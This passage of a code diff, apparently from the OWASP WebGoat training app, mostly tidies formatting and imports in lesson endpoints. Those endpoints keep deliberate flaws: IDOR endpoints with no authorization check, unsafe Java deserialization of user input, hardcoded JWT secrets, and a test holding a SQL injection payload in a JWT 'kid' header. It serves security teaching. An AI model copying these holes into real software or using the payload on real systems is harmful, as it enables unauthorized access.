|| diffAttribs[1].toLowerCase().trim().equals("userid") && diffAttribs[0].toLowerCase().trim().equals("role")) {
|
||||||
return trackProgress(success().feedback("idor.diff.success").build());
|
return trackProgress(success().feedback("idor.diff.success").build());
|
||||||
} else {
|
} else {
|
||||||
return trackProgress(failed().feedback("idor.diff.failure").build());
|
return trackProgress(failed().feedback("idor.diff.failure").build());
|
||||||
|
@ -30,7 +30,7 @@ import org.springframework.beans.factory.annotation.Autowired;
|
|||||||
import org.springframework.web.bind.annotation.*;
|
import org.springframework.web.bind.annotation.*;
|
||||||
|
|
||||||
@RestController
|
@RestController
|
||||||
@AssignmentHints({"idor.hints.otherProfile1","idor.hints.otherProfile2","idor.hints.otherProfile3","idor.hints.otherProfile4","idor.hints.otherProfile5","idor.hints.otherProfile6","idor.hints.otherProfile7","idor.hints.otherProfile8","idor.hints.otherProfile9"})
|
@AssignmentHints({"idor.hints.otherProfile1", "idor.hints.otherProfile2", "idor.hints.otherProfile3", "idor.hints.otherProfile4", "idor.hints.otherProfile5", "idor.hints.otherProfile6", "idor.hints.otherProfile7", "idor.hints.otherProfile8", "idor.hints.otherProfile9"})
|
||||||
public class IDOREditOtherProfiile extends AssignmentEndpoint {
|
public class IDOREditOtherProfiile extends AssignmentEndpoint {
|
||||||
|
|
||||||
@Autowired
|
@Autowired
|
||||||
@ -40,7 +40,7 @@ public class IDOREditOtherProfiile extends AssignmentEndpoint {
|
|||||||
@ResponseBody
|
@ResponseBody
|
||||||
public AttackResult completed(@PathVariable("userId") String userId, @RequestBody UserProfile userSubmittedProfile) {
|
public AttackResult completed(@PathVariable("userId") String userId, @RequestBody UserProfile userSubmittedProfile) {
|
||||||
|
|
||||||
String authUserId = (String)userSessionData.getValue("idor-authenticated-user-id");
|
String authUserId = (String) userSessionData.getValue("idor-authenticated-user-id");
|
||||||
// this is where it starts ... accepting the user submitted ID and assuming it will be the same as the logged in userId and not checking for proper authorization
|
// this is where it starts ... accepting the user submitted ID and assuming it will be the same as the logged in userId and not checking for proper authorization
|
||||||
// Certain roles can sometimes edit others' profiles, but we shouldn't just assume that and let everyone, right?
|
// Certain roles can sometimes edit others' profiles, but we shouldn't just assume that and let everyone, right?
|
||||||
// Except that this is a vulnerable app ... so we will
|
// Except that this is a vulnerable app ... so we will
|
||||||
@ -50,12 +50,12 @@ public class IDOREditOtherProfiile extends AssignmentEndpoint {
|
|||||||
currentUserProfile.setColor(userSubmittedProfile.getColor());
|
currentUserProfile.setColor(userSubmittedProfile.getColor());
|
||||||
currentUserProfile.setRole(userSubmittedProfile.getRole());
|
currentUserProfile.setRole(userSubmittedProfile.getRole());
|
||||||
// we will persist in the session object for now in case we want to refer back or use it later
|
// we will persist in the session object for now in case we want to refer back or use it later
|
||||||
userSessionData.setValue("idor-updated-other-profile",currentUserProfile);
|
userSessionData.setValue("idor-updated-other-profile", currentUserProfile);
|
||||||
if (currentUserProfile.getRole() <= 1 && currentUserProfile.getColor().toLowerCase().equals("red")) {
|
if (currentUserProfile.getRole() <= 1 && currentUserProfile.getColor().toLowerCase().equals("red")) {
|
||||||
return trackProgress(success()
|
return trackProgress(success()
|
||||||
.feedback("idor.edit.profile.success1")
|
.feedback("idor.edit.profile.success1")
|
||||||
.output(currentUserProfile.profileToMap().toString())
|
.output(currentUserProfile.profileToMap().toString())
|
||||||
.build());
|
.build());
|
||||||
}
|
}
|
||||||
|
|
||||||
if (currentUserProfile.getRole() > 1 && currentUserProfile.getColor().toLowerCase().equals("red")) {
|
if (currentUserProfile.getRole() > 1 && currentUserProfile.getColor().toLowerCase().equals("red")) {
|
||||||
@ -67,25 +67,25 @@ public class IDOREditOtherProfiile extends AssignmentEndpoint {
|
|||||||
|
|
||||||
if (currentUserProfile.getRole() <= 1 && !currentUserProfile.getColor().toLowerCase().equals("red")) {
|
if (currentUserProfile.getRole() <= 1 && !currentUserProfile.getColor().toLowerCase().equals("red")) {
|
||||||
return trackProgress(success()
|
return trackProgress(success()
|
||||||
.feedback("idor.edit.profile.failure2")
|
.feedback("idor.edit.profile.failure2")
|
||||||
.output(currentUserProfile.profileToMap().toString())
|
.output(currentUserProfile.profileToMap().toString())
|
||||||
.build());
|
.build());
|
||||||
}
|
}
|
||||||
|
|
||||||
// else
|
// else
|
||||||
return trackProgress(failed().
|
return trackProgress(failed()
|
||||||
feedback("idor.edit.profile.failure3")
|
.feedback("idor.edit.profile.failure3")
|
||||||
.output(currentUserProfile.profileToMap().toString())
|
.output(currentUserProfile.profileToMap().toString())
|
||||||
.build());
|
.build());
|
||||||
} else if (userSubmittedProfile.getUserId().equals(authUserId)) {
|
} else if (userSubmittedProfile.getUserId().equals(authUserId)) {
|
||||||
return failed().feedback("idor.edit.profile.failure4").build();
|
return failed().feedback("idor.edit.profile.failure4").build();
|
||||||
}
|
}
|
||||||
|
|
||||||
if (currentUserProfile.getColor().equals("black") && currentUserProfile.getRole() <= 1 ) {
|
if (currentUserProfile.getColor().equals("black") && currentUserProfile.getRole() <= 1) {
|
||||||
return trackProgress(success()
|
return trackProgress(success()
|
||||||
.feedback("idor.edit.profile.success2")
|
.feedback("idor.edit.profile.success2")
|
||||||
.output(userSessionData.getValue("idor-updated-own-profile").toString())
|
.output(userSessionData.getValue("idor-updated-own-profile").toString())
|
||||||
.build());
|
.build());
|
||||||
} else {
|
} else {
|
||||||
return trackProgress(failed().feedback("idor.edit.profile.failure3").build());
|
return trackProgress(failed().feedback("idor.edit.profile.failure3").build());
|
||||||
}
|
}
|
||||||
|
@ -22,21 +22,23 @@
|
|||||||
|
|
||||||
package org.owasp.webgoat.idor;
|
package org.owasp.webgoat.idor;
|
||||||
|
|
||||||
|
|
||||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.assignments.AssignmentHints;
|
import org.owasp.webgoat.assignments.AssignmentHints;
|
||||||
import org.owasp.webgoat.assignments.AttackResult;
|
import org.owasp.webgoat.assignments.AttackResult;
|
||||||
import org.owasp.webgoat.session.UserSessionData;
|
import org.owasp.webgoat.session.UserSessionData;
|
||||||
import org.springframework.beans.factory.annotation.Autowired;
|
import org.springframework.beans.factory.annotation.Autowired;
|
||||||
import org.springframework.web.bind.annotation.*;
|
import org.springframework.web.bind.annotation.GetMapping;
|
||||||
|
import org.springframework.web.bind.annotation.PathVariable;
|
||||||
|
import org.springframework.web.bind.annotation.ResponseBody;
|
||||||
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
import javax.servlet.http.HttpServletResponse;
|
import javax.servlet.http.HttpServletResponse;
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
|
||||||
@RestController
|
@RestController
|
||||||
@AssignmentHints({"idor.hints.otherProfile1","idor.hints.otherProfile2","idor.hints.otherProfile3","idor.hints.otherProfile4","idor.hints.otherProfile5","idor.hints.otherProfile6","idor.hints.otherProfile7","idor.hints.otherProfile8","idor.hints.otherProfile9"})
|
@AssignmentHints({"idor.hints.otherProfile1", "idor.hints.otherProfile2", "idor.hints.otherProfile3", "idor.hints.otherProfile4", "idor.hints.otherProfile5", "idor.hints.otherProfile6", "idor.hints.otherProfile7", "idor.hints.otherProfile8", "idor.hints.otherProfile9"})
|
||||||
public class IDORViewOtherProfile extends AssignmentEndpoint{
|
public class IDORViewOtherProfile extends AssignmentEndpoint {
|
||||||
|
|
||||||
@Autowired
|
@Autowired
|
||||||
UserSessionData userSessionData;
|
UserSessionData userSessionData;
|
||||||
@ -44,16 +46,16 @@ public class IDORViewOtherProfile extends AssignmentEndpoint{
|
|||||||
@GetMapping(path = "IDOR/profile/{userId}", produces = {"application/json"})
|
@GetMapping(path = "IDOR/profile/{userId}", produces = {"application/json"})
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
public AttackResult completed(@PathVariable("userId") String userId, HttpServletResponse resp) {
|
public AttackResult completed(@PathVariable("userId") String userId, HttpServletResponse resp) {
|
||||||
Map<String,Object> details = new HashMap<>();
|
Map<String, Object> details = new HashMap<>();
|
||||||
|
|
||||||
if (userSessionData.getValue("idor-authenticated-as").equals("tom")) {
|
if (userSessionData.getValue("idor-authenticated-as").equals("tom")) {
|
||||||
//going to use session auth to view this one
|
//going to use session auth to view this one
|
||||||
String authUserId = (String)userSessionData.getValue("idor-authenticated-user-id");
|
String authUserId = (String) userSessionData.getValue("idor-authenticated-user-id");
|
||||||
if(userId != null && !userId.equals(authUserId)) {
|
if (userId != null && !userId.equals(authUserId)) {
|
||||||
//on the right track
|
//on the right track
|
||||||
UserProfile requestedProfile = new UserProfile(userId);
|
UserProfile requestedProfile = new UserProfile(userId);
|
||||||
// secure code would ensure there was a horizontal access control check prior to dishing up the requested profile
|
// secure code would ensure there was a horizontal access control check prior to dishing up the requested profile
|
||||||
if (requestedProfile.getUserId().equals("2342388")){
|
if (requestedProfile.getUserId().equals("2342388")) {
|
||||||
return trackProgress(success().feedback("idor.view.profile.success").output(requestedProfile.profileToMap().toString()).build());
|
return trackProgress(success().feedback("idor.view.profile.success").output(requestedProfile.profileToMap().toString()).build());
|
||||||
} else {
|
} else {
|
||||||
return trackProgress(failed().feedback("idor.view.profile.close1").build());
|
return trackProgress(failed().feedback("idor.view.profile.close1").build());
|
||||||
|
@ -38,27 +38,28 @@ import java.io.ObjectInputStream;
|
|||||||
import java.util.Base64;
|
import java.util.Base64;
|
||||||
|
|
||||||
@RestController
|
@RestController
|
||||||
@AssignmentHints({"insecure-deserialization.hints.1","insecure-deserialization.hints.2","insecure-deserialization.hints.3"})
|
@AssignmentHints({"insecure-deserialization.hints.1", "insecure-deserialization.hints.2", "insecure-deserialization.hints.3"})
|
||||||
public class InsecureDeserializationTask extends AssignmentEndpoint {
|
public class InsecureDeserializationTask extends AssignmentEndpoint {
|
||||||
|
|
||||||
@PostMapping("/InsecureDeserialization/task")
|
@PostMapping("/InsecureDeserialization/task")
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
public AttackResult completed(@RequestParam String token) throws IOException {
|
public AttackResult completed(@RequestParam String token) throws IOException {
|
||||||
String b64token;
|
String b64token;
|
||||||
long before, after;
|
long before;
|
||||||
|
long after;
|
||||||
int delay;
|
int delay;
|
||||||
|
|
||||||
b64token = token.replace('-', '+').replace('_', '/');
|
b64token = token.replace('-', '+').replace('_', '/');
|
||||||
|
|
||||||
try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token)))) {
|
try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token)))) {
|
||||||
before = System.currentTimeMillis();
|
before = System.currentTimeMillis();
|
||||||
Object o = ois.readObject();
|
Object o = ois.readObject();
|
||||||
if (!(o instanceof VulnerableTaskHolder)) {
|
if (!(o instanceof VulnerableTaskHolder)) {
|
||||||
if (o instanceof String) {
|
if (o instanceof String) {
|
||||||
return trackProgress(failed().feedback("insecure-deserialization.stringobject").build());
|
return trackProgress(failed().feedback("insecure-deserialization.stringobject").build());
|
||||||
}
|
}
|
||||||
return trackProgress(failed().feedback("insecure-deserialization.wrongobject").build());
|
return trackProgress(failed().feedback("insecure-deserialization.wrongobject").build());
|
||||||
}
|
}
|
||||||
after = System.currentTimeMillis();
|
after = System.currentTimeMillis();
|
||||||
} catch (InvalidClassException e) {
|
} catch (InvalidClassException e) {
|
||||||
return trackProgress(failed().feedback("insecure-deserialization.invalidversion").build());
|
return trackProgress(failed().feedback("insecure-deserialization.invalidversion").build());
|
||||||
|
@ -1,54 +1,54 @@
|
|||||||
package org.owasp.webgoat.deserialization;
|
package org.owasp.webgoat.deserialization;
|
||||||
|
|
||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.DataOutputStream;
|
import java.io.DataOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.ObjectInputStream;
|
import java.io.ObjectInputStream;
|
||||||
import java.io.ObjectOutputStream;
|
import java.io.ObjectOutputStream;
|
||||||
import java.io.Serializable;
|
import java.io.Serializable;
|
||||||
import java.util.Base64;
|
import java.util.Base64;
|
||||||
|
|
||||||
public class SerializationHelper {
|
public class SerializationHelper {
|
||||||
|
|
||||||
private final static char[] hexArray = "0123456789ABCDEF".toCharArray();
|
private static final char[] hexArray = "0123456789ABCDEF".toCharArray();
|
||||||
|
|
||||||
public static Object fromString( String s ) throws IOException ,
|
public static Object fromString(String s) throws IOException,
|
||||||
ClassNotFoundException {
|
ClassNotFoundException {
|
||||||
byte [] data = Base64.getDecoder().decode( s );
|
byte[] data = Base64.getDecoder().decode(s);
|
||||||
ObjectInputStream ois = new ObjectInputStream(
|
ObjectInputStream ois = new ObjectInputStream(
|
||||||
new ByteArrayInputStream( data ) );
|
new ByteArrayInputStream(data));
|
||||||
Object o = ois.readObject();
|
Object o = ois.readObject();
|
||||||
ois.close();
|
ois.close();
|
||||||
return o;
|
return o;
|
||||||
}
|
}
|
||||||
|
|
||||||
public static String toString( Serializable o ) throws IOException {
|
public static String toString(Serializable o) throws IOException {
|
||||||
|
|
||||||
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
||||||
ObjectOutputStream oos = new ObjectOutputStream( baos );
|
ObjectOutputStream oos = new ObjectOutputStream(baos);
|
||||||
oos.writeObject( o );
|
oos.writeObject(o);
|
||||||
oos.close();
|
oos.close();
|
||||||
return Base64.getEncoder().encodeToString(baos.toByteArray());
|
return Base64.getEncoder().encodeToString(baos.toByteArray());
|
||||||
}
|
}
|
||||||
|
|
||||||
public static String show() throws IOException {
|
public static String show() throws IOException {
|
||||||
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
||||||
DataOutputStream dos = new DataOutputStream(baos);
|
DataOutputStream dos = new DataOutputStream(baos);
|
||||||
dos.writeLong(-8699352886133051976L);
|
dos.writeLong(-8699352886133051976L);
|
||||||
dos.close();
|
dos.close();
|
||||||
byte[] longBytes = baos.toByteArray();
|
byte[] longBytes = baos.toByteArray();
|
||||||
return bytesToHex(longBytes);
|
return bytesToHex(longBytes);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static String bytesToHex(byte[] bytes) {
|
public static String bytesToHex(byte[] bytes) {
|
||||||
char[] hexChars = new char[bytes.length * 2];
|
char[] hexChars = new char[bytes.length * 2];
|
||||||
for ( int j = 0; j < bytes.length; j++ ) {
|
for (int j = 0; j < bytes.length; j++) {
|
||||||
int v = bytes[j] & 0xFF;
|
int v = bytes[j] & 0xFF;
|
||||||
hexChars[j * 2] = hexArray[v >>> 4];
|
hexChars[j * 2] = hexArray[v >>> 4];
|
||||||
hexChars[j * 2 + 1] = hexArray[v & 0x0F];
|
hexChars[j * 2 + 1] = hexArray[v & 0x0F];
|
||||||
}
|
}
|
||||||
return new String(hexChars);
|
return new String(hexChars);
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
@ -22,24 +22,17 @@
|
|||||||
|
|
||||||
package org.owasp.webgoat.jwt;
|
package org.owasp.webgoat.jwt;
|
||||||
|
|
||||||
import com.google.common.collect.Lists;
|
|
||||||
import com.google.common.collect.Maps;
|
|
||||||
import io.jsonwebtoken.*;
|
import io.jsonwebtoken.*;
|
||||||
import org.apache.commons.lang3.RandomStringUtils;
|
import org.apache.commons.lang3.RandomStringUtils;
|
||||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.assignments.AssignmentHints;
|
import org.owasp.webgoat.assignments.AssignmentHints;
|
||||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
|
||||||
import org.owasp.webgoat.assignments.AttackResult;
|
import org.owasp.webgoat.assignments.AttackResult;
|
||||||
import org.owasp.webgoat.session.WebSession;
|
|
||||||
import org.springframework.beans.factory.annotation.Autowired;
|
|
||||||
import org.springframework.http.HttpStatus;
|
import org.springframework.http.HttpStatus;
|
||||||
import org.springframework.http.MediaType;
|
import org.springframework.http.MediaType;
|
||||||
import org.springframework.http.ResponseEntity;
|
import org.springframework.http.ResponseEntity;
|
||||||
import org.springframework.web.bind.annotation.*;
|
import org.springframework.web.bind.annotation.*;
|
||||||
|
|
||||||
import java.util.Date;
|
import java.util.*;
|
||||||
import java.util.List;
|
|
||||||
import java.util.Map;
|
|
||||||
import java.util.concurrent.TimeUnit;
|
import java.util.concurrent.TimeUnit;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@ -52,7 +45,7 @@ public class JWTRefreshEndpoint extends AssignmentEndpoint {
|
|||||||
|
|
||||||
public static final String PASSWORD = "bm5nhSkxCXZkKRy4";
|
public static final String PASSWORD = "bm5nhSkxCXZkKRy4";
|
||||||
private static final String JWT_PASSWORD = "bm5n3SkxCX4kKRy4";
|
private static final String JWT_PASSWORD = "bm5n3SkxCX4kKRy4";
|
||||||
private static final List<String> validRefreshTokens = Lists.newArrayList();
|
private static final List<String> validRefreshTokens = new ArrayList<>();
|
||||||
|
|
||||||
@PostMapping(value = "/JWT/refresh/login", consumes = MediaType.APPLICATION_JSON_VALUE, produces = MediaType.APPLICATION_JSON_VALUE)
|
@PostMapping(value = "/JWT/refresh/login", consumes = MediaType.APPLICATION_JSON_VALUE, produces = MediaType.APPLICATION_JSON_VALUE)
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
@ -67,7 +60,7 @@ public class JWTRefreshEndpoint extends AssignmentEndpoint {
|
|||||||
}
|
}
|
||||||
|
|
||||||
private Map<String, Object> createNewTokens(String user) {
|
private Map<String, Object> createNewTokens(String user) {
|
||||||
Map<String, Object> claims = Maps.newHashMap();
|
Map<String, Object> claims = new HashMap<>();
|
||||||
claims.put("admin", "false");
|
claims.put("admin", "false");
|
||||||
claims.put("user", user);
|
claims.put("user", user);
|
||||||
String token = Jwts.builder()
|
String token = Jwts.builder()
|
||||||
@ -75,7 +68,7 @@ public class JWTRefreshEndpoint extends AssignmentEndpoint {
|
|||||||
.setClaims(claims)
|
.setClaims(claims)
|
||||||
.signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD)
|
.signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD)
|
||||||
.compact();
|
.compact();
|
||||||
Map<String, Object> tokenJson = Maps.newHashMap();
|
Map<String, Object> tokenJson = new HashMap<>();
|
||||||
String refreshToken = RandomStringUtils.randomAlphabetic(20);
|
String refreshToken = RandomStringUtils.randomAlphabetic(20);
|
||||||
validRefreshTokens.add(refreshToken);
|
validRefreshTokens.add(refreshToken);
|
||||||
tokenJson.put("access_token", token);
|
tokenJson.put("access_token", token);
|
||||||
|
@ -22,24 +22,16 @@
|
|||||||
|
|
||||||
package org.owasp.webgoat.jwt;
|
package org.owasp.webgoat.jwt;
|
||||||
|
|
||||||
import com.google.common.collect.Lists;
|
|
||||||
import io.jsonwebtoken.impl.TextCodec;
|
|
||||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
|
||||||
import org.owasp.webgoat.assignments.AssignmentHints;
|
|
||||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
|
||||||
import org.owasp.webgoat.assignments.AttackResult;
|
|
||||||
import org.springframework.http.MediaType;
|
|
||||||
import org.springframework.web.bind.annotation.PostMapping;
|
|
||||||
import org.springframework.web.bind.annotation.RequestMapping;
|
|
||||||
import org.springframework.web.bind.annotation.RequestParam;
|
|
||||||
|
|
||||||
import io.jsonwebtoken.Claims;
|
import io.jsonwebtoken.Claims;
|
||||||
import io.jsonwebtoken.Jwt;
|
import io.jsonwebtoken.Jwt;
|
||||||
import io.jsonwebtoken.Jwts;
|
import io.jsonwebtoken.Jwts;
|
||||||
import io.jsonwebtoken.SignatureAlgorithm;
|
import io.jsonwebtoken.SignatureAlgorithm;
|
||||||
|
import io.jsonwebtoken.impl.TextCodec;
|
||||||
import org.springframework.web.bind.annotation.ResponseBody;
|
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||||
import org.springframework.web.bind.annotation.RestController;
|
import org.owasp.webgoat.assignments.AssignmentHints;
|
||||||
|
import org.owasp.webgoat.assignments.AttackResult;
|
||||||
|
import org.springframework.http.MediaType;
|
||||||
|
import org.springframework.web.bind.annotation.*;
|
||||||
|
|
||||||
import java.time.Instant;
|
import java.time.Instant;
|
||||||
import java.util.Calendar;
|
import java.util.Calendar;
|
||||||
@ -55,24 +47,24 @@ import java.util.Random;
|
|||||||
@AssignmentHints({"jwt-secret-hint1", "jwt-secret-hint2", "jwt-secret-hint3"})
|
@AssignmentHints({"jwt-secret-hint1", "jwt-secret-hint2", "jwt-secret-hint3"})
|
||||||
public class JWTSecretKeyEndpoint extends AssignmentEndpoint {
|
public class JWTSecretKeyEndpoint extends AssignmentEndpoint {
|
||||||
|
|
||||||
public static final String[] SECRETS = {"victory","business","available", "shipping", "washington"};
|
public static final String[] SECRETS = {"victory", "business", "available", "shipping", "washington"};
|
||||||
public static final String JWT_SECRET = TextCodec.BASE64.encode(SECRETS[new Random().nextInt(SECRETS.length)]);
|
public static final String JWT_SECRET = TextCodec.BASE64.encode(SECRETS[new Random().nextInt(SECRETS.length)]);
|
||||||
private static final String WEBGOAT_USER = "WebGoat";
|
private static final String WEBGOAT_USER = "WebGoat";
|
||||||
private static final List<String> expectedClaims = Lists.newArrayList("iss", "iat", "exp", "aud", "sub", "username", "Email", "Role");
|
private static final List<String> expectedClaims = List.of("iss", "iat", "exp", "aud", "sub", "username", "Email", "Role");
|
||||||
|
|
||||||
@RequestMapping(path="/JWT/secret/gettoken",produces=MediaType.TEXT_HTML_VALUE)
|
@RequestMapping(path = "/JWT/secret/gettoken", produces = MediaType.TEXT_HTML_VALUE)
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
public String getSecretToken() {
|
public String getSecretToken() {
|
||||||
return Jwts.builder()
|
return Jwts.builder()
|
||||||
.setIssuer("WebGoat Token Builder")
|
.setIssuer("WebGoat Token Builder")
|
||||||
.setAudience("webgoat.org")
|
.setAudience("webgoat.org")
|
||||||
.setIssuedAt(Calendar.getInstance().getTime())
|
.setIssuedAt(Calendar.getInstance().getTime())
|
||||||
.setExpiration(Date.from(Instant.now().plusSeconds(60)))
|
.setExpiration(Date.from(Instant.now().plusSeconds(60)))
|
||||||
.setSubject("tom@webgoat.org")
|
.setSubject("tom@webgoat.org")
|
||||||
.claim("username", "Tom")
|
.claim("username", "Tom")
|
||||||
.claim("Email", "tom@webgoat.org")
|
.claim("Email", "tom@webgoat.org")
|
||||||
.claim("Role", new String[] {"Manager", "Project Administrator"})
|
.claim("Role", new String[]{"Manager", "Project Administrator"})
|
||||||
.signWith(SignatureAlgorithm.HS256, JWT_SECRET).compact();
|
.signWith(SignatureAlgorithm.HS256, JWT_SECRET).compact();
|
||||||
}
|
}
|
||||||
|
|
||||||
@PostMapping("/JWT/secret")
|
@PostMapping("/JWT/secret")
|
||||||
@ -93,7 +85,7 @@ public class JWTSecretKeyEndpoint extends AssignmentEndpoint {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
return trackProgress(failed().feedback("jwt-invalid-token").output(e.getMessage()).build());
|
return trackProgress(failed().feedback("jwt-invalid-token").output(e.getMessage()).build());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -22,7 +22,6 @@
|
|||||||
|
|
||||||
package org.owasp.webgoat.jwt;
|
package org.owasp.webgoat.jwt;
|
||||||
|
|
||||||
import com.google.common.collect.Maps;
|
|
||||||
import io.jsonwebtoken.Claims;
|
import io.jsonwebtoken.Claims;
|
||||||
import io.jsonwebtoken.Jwt;
|
import io.jsonwebtoken.Jwt;
|
||||||
import io.jsonwebtoken.JwtException;
|
import io.jsonwebtoken.JwtException;
|
||||||
@ -46,6 +45,7 @@ import javax.servlet.http.HttpServletResponse;
|
|||||||
import java.time.Duration;
|
import java.time.Duration;
|
||||||
import java.time.Instant;
|
import java.time.Instant;
|
||||||
import java.util.Date;
|
import java.util.Date;
|
||||||
|
import java.util.HashMap;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
|
||||||
import static java.util.Comparator.comparingLong;
|
import static java.util.Comparator.comparingLong;
|
||||||
@ -64,7 +64,7 @@ public class JWTVotesEndpoint extends AssignmentEndpoint {
|
|||||||
private static String validUsers = "TomJerrySylvester";
|
private static String validUsers = "TomJerrySylvester";
|
||||||
|
|
||||||
private static int totalVotes = 38929;
|
private static int totalVotes = 38929;
|
||||||
private Map<String, Vote> votes = Maps.newHashMap();
|
private Map<String, Vote> votes = new HashMap<>();
|
||||||
|
|
||||||
@PostConstruct
|
@PostConstruct
|
||||||
public void initVotes() {
|
public void initVotes() {
|
||||||
|
@ -1,6 +1,5 @@
|
|||||||
package org.owasp.webgoat.jwt;
|
package org.owasp.webgoat.jwt;
|
||||||
|
|
||||||
import com.google.common.collect.Maps;
|
|
||||||
import io.jsonwebtoken.Jwts;
|
import io.jsonwebtoken.Jwts;
|
||||||
import org.hamcrest.CoreMatchers;
|
import org.hamcrest.CoreMatchers;
|
||||||
import org.junit.Before;
|
import org.junit.Before;
|
||||||
@ -8,12 +7,12 @@ import org.junit.Test;
|
|||||||
import org.junit.runner.RunWith;
|
import org.junit.runner.RunWith;
|
||||||
import org.owasp.webgoat.plugins.LessonTest;
|
import org.owasp.webgoat.plugins.LessonTest;
|
||||||
import org.springframework.beans.factory.annotation.Autowired;
|
import org.springframework.beans.factory.annotation.Autowired;
|
||||||
import org.springframework.boot.test.autoconfigure.core.AutoConfigureCache;
|
|
||||||
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
|
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
|
||||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||||
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
||||||
|
|
||||||
import java.util.Date;
|
import java.util.Date;
|
||||||
|
import java.util.HashMap;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
import java.util.concurrent.TimeUnit;
|
import java.util.concurrent.TimeUnit;
|
||||||
|
|
||||||
@ -39,7 +38,7 @@ public class JWTFinalEndpointTest extends LessonTest {
|
|||||||
@Test
|
@Test
|
||||||
public void solveAssignment() throws Exception {
|
public void solveAssignment() throws Exception {
|
||||||
String key = "deletingTom";
|
String key = "deletingTom";
|
||||||
Map<String, Object> claims = Maps.newHashMap();
|
Map<String, Object> claims = new HashMap<>();
|
||||||
claims.put("username", "Tom");
|
claims.put("username", "Tom");
|
||||||
String token = Jwts.builder()
|
String token = Jwts.builder()
|
||||||
.setHeaderParam("kid", "hacked' UNION select '" + key + "' from INFORMATION_SCHEMA.SYSTEM_USERS --")
|
.setHeaderParam("kid", "hacked' UNION select '" + key + "' from INFORMATION_SCHEMA.SYSTEM_USERS --")
|
||||||
|
@ -23,7 +23,6 @@
|
|||||||
package org.owasp.webgoat.jwt;
|
package org.owasp.webgoat.jwt;
|
||||||
|
|
||||||
import com.fasterxml.jackson.databind.ObjectMapper;
|
import com.fasterxml.jackson.databind.ObjectMapper;
|
||||||
import com.google.common.collect.Maps;
|
|
||||||
import org.hamcrest.CoreMatchers;
|
import org.hamcrest.CoreMatchers;
|
||||||
import org.junit.Before;
|
import org.junit.Before;
|
||||||
import org.junit.Test;
|
import org.junit.Test;
|
||||||
@ -36,6 +35,7 @@ import org.springframework.test.web.servlet.MvcResult;
|
|||||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||||
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
||||||
|
|
||||||
|
import java.util.HashMap;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
|
||||||
import static org.hamcrest.Matchers.is;
|
import static org.hamcrest.Matchers.is;
|
||||||
@ -62,9 +62,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
|
|||||||
ObjectMapper objectMapper = new ObjectMapper();
|
ObjectMapper objectMapper = new ObjectMapper();
|
||||||
|
|
||||||
//First login to obtain tokens for Jerry
|
//First login to obtain tokens for Jerry
|
||||||
Map<String, Object> loginJson = Maps.newHashMap();
|
var loginJson = Map.of("user", "Jerry", "password", PASSWORD);
|
||||||
loginJson.put("user", "Jerry");
|
|
||||||
loginJson.put("password", PASSWORD);
|
|
||||||
MvcResult result = mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login")
|
MvcResult result = mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login")
|
||||||
.contentType(MediaType.APPLICATION_JSON)
|
.contentType(MediaType.APPLICATION_JSON)
|
||||||
.content(objectMapper.writeValueAsString(loginJson)))
|
.content(objectMapper.writeValueAsString(loginJson)))
|
||||||
@ -76,7 +74,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
|
|||||||
|
|
||||||
//Now create a new refresh token for Tom based on Toms old access token and send the refresh token of Jerry
|
//Now create a new refresh token for Tom based on Toms old access token and send the refresh token of Jerry
|
||||||
